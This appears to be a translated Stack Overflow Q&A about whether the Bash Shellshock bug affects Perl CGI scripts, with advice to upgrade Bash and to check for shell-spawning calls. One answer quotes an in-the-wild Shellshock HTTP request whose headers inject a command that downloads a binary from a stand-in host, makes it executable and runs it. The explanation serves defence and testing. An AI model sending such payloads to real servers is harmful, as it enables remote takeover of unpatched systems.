【发布时间】:2014-09-25 11:57:08
【问题描述】:
昨天报告了 CVE-2014-6271 问题,这是 BASH Shellshock 漏洞。 我试图了解它是否会通过我的 Perl CGI 脚本影响我的服务器。
我的代码会受到恶意影响吗?我的代码需要做什么才能受到影响?我应该检查什么来验证这一点?
【问题讨论】:
标签: bash security shellshock-bash-bug
昨天报告了 CVE-2014-6271 问题,这是 BASH Shellshock 漏洞。 我试图了解它是否会通过我的 Perl CGI 脚本影响我的服务器。
我的代码会受到恶意影响吗?我的代码需要做什么才能受到影响?我应该检查什么来验证这一点?
【问题讨论】:
标签: bash security shellshock-bash-bug
是的,如果你的 CGI 脚本产生子 shell,它会影响 Perl,例如,使用 system() 或 open() 函数或反引号。见this excellent Red Hat blog post。请注意,该博客文章在任何重要方面都不是 Red Hat 特定的。
检查您的 Perl CGI 脚本以获取这些功能,但首先将 BASH 升级到固定版本!
【讨论】:
/bin/sh是bash。如果主机是 Debian 或 Ubuntu,其中/bin/sh 是破折号,那么system() 是安全的。
system() 使用 /bin/sh 是正确的,如果这不指向 bash,那么 bash 错误不会影响它。但是,我的主要观点是优先更新 bash,而不是试图找出程序是否易受攻击。
/bin/sh 使用除 bash 之外的其他东西可能是个好主意。好电话@CharlesDuffy。
您可以尝试将特制的字符串设置到 HTTP 服务器 als Referrer、Cookie、Host 或 Accept 标头,然后将其传递给 (bash) CGI 脚本:
GET./.HTTP/1.0 .User-Agent:.Thanks-Rob .Cookie:().{.:;.};.wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; .Host:().{.:;.};.wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; .Referer:().{.:;.};.wget.-O./tmp/besh.http://example.com/nginx;.chmod.777./tmp/besh;./tmp/besh; .Accept:./
将https://gist.github.com/anonymous/929d622f3b36b00c0be1 视为在野外发现的恶意软件的真实示例。
如果您的 Perl 脚本不调用 bash(通过使用 system 或 open),您应该是安全的。
【讨论】: